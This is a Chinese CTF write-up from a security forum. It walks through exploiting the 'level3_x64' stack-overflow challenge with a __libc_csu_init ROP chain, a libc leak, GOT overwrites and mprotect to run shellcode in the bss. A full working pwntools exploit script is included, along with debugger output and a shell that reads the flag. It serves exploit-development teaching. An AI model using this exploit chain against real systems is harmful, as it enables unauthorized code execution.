

萌新入坑pwn，一直在做栈溢出的题目，这题集合了\_\_libc\_csu\_init，覆写got表，mmap和mprotect的运用，知识点丰富，在此做个总结，和学pwn的同学一起进步，大佬

下面进入正题，这里假设system和execve被禁用，实际上这种情况很常见，利用mprotect和mmap来解决，简单来说mmap函数创建一块内存区域，将一个文件映射到该区域。

原函数定义：

```
int mprotect(const void start, size_t len, int prot);
```

```
void mmap( void *start, size_t length, int prot, int flags, int fd, off_t offsize);
```

更具体的请查证资料，这里能理解到就行，下面开始看题目学习：

一开始检查程序的保护机制：

```
king@ubuntu: ~/桌面/OJ题目/level3/level3_x64
king@ubuntu:~/桌面/OJ题目/level3/level3_x64$ checksec level3_x64
[*] '/home/king/桌面/OJ题目/level3/level3_x64/level3_x64/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
king@ubuntu:~/桌面/OJ题目/level3/level3_x64$
```

只有堆栈不可执行的权限，可以改got表，没有栈溢出保护（可能有栈溢出漏洞）

ida分析：

```
IDA View-A x Pseudocode-E x Pseudocode-D x Pseudocode-C x Pseudocode-B x Pseudocode-A x
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     vulnerable_function();
4     return write(1, "Hello, world!\n", 0xEuLL);
5 }
```

```

1 ssize_t vulnerable_function()
2 {
3     char buf; // [rsp+0h] [rbp-80h]
4
5     write(1, "Input:\n", 7uLL);
6     return read(0, &buf, 0x200uLL);
7 }

```

明显的栈溢出漏洞，通过爆破可以检测出栈大小：136（覆盖ebp）

```

king@ubuntu: ~/桌面/OJ题目/level3/level3_x64
... ↓
06:0030 | 0x7fffffffddc80 ← 0xff00
07:0038 | 0x7fffffffddc88 ← 0xff00000000
[ BACKTRACE ]
▶ f 0 400613 vulnerable_function+45
f 1 400633 main+25
f 2 7ffff7829830 __libc_start_main+240
Breakpoint *0x000000000400613
pwndbg> cyclic 400
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaaamaaanaaaapaaaqaaaraaasaaataaa
uaavaaaawaaaaxaaayaaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaab
paabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaac
kaacaaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaad
faadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
pwndbg> c
Continuing.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaaamaaanaaaapaaaqaaaraaasaaataaa
uaavaaaawaaaaxaaayaaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaab
paabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaac
kaacaaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaad
faadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad

Program received signal SIGSEGV, Segmentation fault.
0x000000000400619 in vulnerable_function ()

```

```

king@ubuntu: ~/桌面/OJ题目/level3/level3_x64
00:0000 | rsp 0x7fffffffddcd8 ← 0x6261616b6261616a ('jaabkaab')
01:0008 |      0x7fffffffddce0 ← 0x6261616d6261616c ('laabmaab')
02:0010 |      0x7fffffffddce8 ← 0x6261616f6261616e ('naaboaab')
03:0018 |      0x7fffffffddcf0 ← 0x6261617162616170 ('paabqaab')
04:0020 |      0x7fffffffddcf8 ← 0x6261617362616172 ('raabsaab')
05:0028 |      0x7fffffffdd00 ← 0x6261617562616174 ('taabuaab')
06:0030 |      0x7fffffffdd08 ← 0x6261617762616176 ('vaabwaab')
07:0038 |      0x7fffffffdd10 ← 0x6261617962616178 ('xaabyaab')
[ BACKTRACE ]
▶ f 0      400619 vulnerable_function+51
  f 1 6261616b6261616a
  f 2 6261616d6261616c
  f 3 6261616f6261616e
  f 4 6261617162616170
  f 5 6261617362616172
  f 6 6261617562616174
  f 7 6261617762616176
  f 8 6261617962616178
  f 9 636161626361617a
  f 10 6361616463616163
Program received signal SIGSEGV (fault address 0x0)
pwndbg> cyclic -l 0x6261616a
136
pwndbg>

```

思路：

这里假设不能使用system和execve函数的话，想到是自己生成shellcode，放在bss段中，然而bss是不可执行的，要改写那个权限，就要用到mprotect和mmap，64位下我gadget

发现没有三个参数同时满足的，想到可以使用\_\_libc\_csu\_init里面的那个rop链（如不懂请看中级ROP技术），这样搞清楚后，接下来就是敲代码的事了。

```

king@ubuntu: ~/桌面/OJ题目/level3/level3_x64
pwndbg> cyclic -l 0x6261616a
136
pwndbg> Quit
pwndbg> q
king@ubuntu:~/桌面/OJ题目/level3/level3_x64$ ROPgadget --binary level3
level3.py level3_x64
king@ubuntu:~/桌面/OJ题目/level3/level3_x64$ ROPgadget --binary level3_x64 --only 'pop|ret'
Gadgets information
=====
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 11
king@ubuntu:~/桌面/OJ题目/level3/level3_x64$

```

没有合适的ROP

```

.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54lj
.text:0000000000400690      mov     rdx, r13
.text:0000000000400693      mov     rsi, r14
.text:0000000000400696      mov     edi, r15d
.text:0000000000400699      call    qword ptr [r12+rbx*8]
.text:000000000040069D ; 14:      while ( v4 != v5 );
.text:000000000040069D      add     rbx, 1
.text:00000000004006A1      cmp     rbx, rbp
.text:00000000004006A4      jnz     short loc_400690
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36lj
.text:00000000004006A6      add     rsp, 8
.text:00000000004006AA      pop     rbx
.text:00000000004006AB      pop     rbp
.text:00000000004006AC      pop     r12
.text:00000000004006AE      pop     r13
.text:00000000004006B0      pop     r14
.text:00000000004006B2      pop     r15
.text:00000000004006B4      retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp

```

有合适的ROP，接下来就是写脚本了：

```

1  #coding=utf8
2  from pwn import *
3  context.log_level = 'debug'
4  context.terminal = ['gnome-terminal','-x','bash','-c']
5  context(arch='amd64', os='linux')
6  local = 0
7  elf = ELF('./level3_x64')
8  if local:
9      p = process('./level3_x64')
10     libc = elf.libc
11
12 else:
13     p = remote("pwn2.jarvisoj.com", 9884)
14     libc = ELF("./libc-2.19.so")
15
16 vul_func_addr = elf.symbols["vulnerable_function"]
17 main_got = elf.got['__libc_start_main']
18 gmon_got = elf.got['__gmon_start__']
19 write_got = elf.got['write']
20 read_got = elf.got['read']
21 read_libc = libc.symbols['read']
22 mprotect_libc = libc.symbols['mprotect']
23 pppppp_ret = 0x004006A6
24 call_r12 = 0x0400690
25 bss_addr = elf.bss()
26

```

中级ROP技术我们用一个函数来整理（因为会多次用到）

```

def _call(func_got, arg1, arg2, arg3, returnData=False):
    Data = ''
    payload = 'a'*136
    payload += p64(pppppp_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(1)
    payload += p64(func_got)
    payload += p64(arg3)
    payload += p64(arg2)
    payload += p64(arg1)
    payload += p64(call_r12)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(vul_func_addr)
    p.recvuntil('Input:\n')
    p.send(payload)
    if returnData:
        Data = u64(p.recv(8))
    return Data

```

最后实现各种操作：

```

52
53 read_addr = _call(write_got, 1, read_got, 8, True)
54 mprotect_addr = read_addr - read_libc + mprotect_libc → 得到真实地址
55 log.info('mprotect_addr: %s', hex(mprotect_addr))
56 shellcode = asm(shellcraft.amd64.sh())
57 _call(read_got, 0, bss_addr, len(shellcode)) → shellcode写入bss
58 p.send(shellcode)
59 _call(read_got, 0, main_got, 8)
60 p.send(p64(mprotect_addr)) → mprotect地址覆盖main_got地址
61 _call(main_got, 0x600000, 0x1000, 0x7)
62 _call(read_got, 0, gmon_got, 8)
63 p.send(p64(bss_addr)) → bss地址覆盖gmon_got地址
64 _call(gmon_got, 0, 0, 0)
65 #payload = "A"*0x88
66 #payload += p64(bss_addr) → 这是方法2，不覆盖gmon_got,直接溢出跳转到bss地址
67 #p.recvuntil('Input:\n')
68 #p.send(payload)
69 p.interactive()

```

先本地测试：



```
king@ubuntu: ~/桌面/OJ题目/level3/level3_x64
00000090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |....|....|...
. ....|
000000a0  01 00 00 00 00 00 00 00 70 0a 60 00 00 00 00 00 |....|....|p.
. ....|
000000b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |....|....|...
. ....|
000000c0  00 00 00 00 00 00 00 00 90 06 40 00 00 00 00 00 |....|....|..@
. ....|
000000d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |....|....|...
. ....|
*
00000100  00 00 00 00 00 00 00 00 e6 05 40 00 00 00 00 00 |....|....|..@
. ....|
00000110
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x4f bytes:
'2333.py 4444.py 666.py 7.py\tlevel3.py level3_x64 libc-2.19.so ret2cs
u.py\n'
2333.py 4444.py 666.py 7.py level3.py level3_x64 libc-2.19.so ret2csu.p
y
$
```

最后远程getsehlh :

```
king@ubuntu: ~/桌面/OJ题目/level3/level3_x64
000000c0  00 00 00 00 00 00 00 00 90 06 40 00 00 00 00 00 |....|....|..@
. ....|
000000d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |....|....|...
. ....|
*
00000100  00 00 00 00 00 00 00 00 e6 05 40 00 00 00 00 00 |....|....|..@
. ....|
00000110
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0xc bytes:
'flag\n'
'level5\n'
flag
level5
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x26 bytes:
'CTF{9c3a234bd804292b153e7a1c25da648c}\n'
CTF{9c3a234bd804292b153e7a1c25da648c}
$
```

总结：中级ROP适用于64位下的需要3位参数的函数，一般在ROPGadget中很难找齐，就可以这么用，方便，同时掌握改写内存权限和覆盖got表的能力，一举三得！能力有限，仅供参考。

level5.zip (0.751 MB) [下载附件](#)

点击收藏 | 0 关注 | 1

[上一篇：QEMU在嵌入式逆向分析中的应用](#) [下一篇：QEMU在嵌入式逆向分析中的应用](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)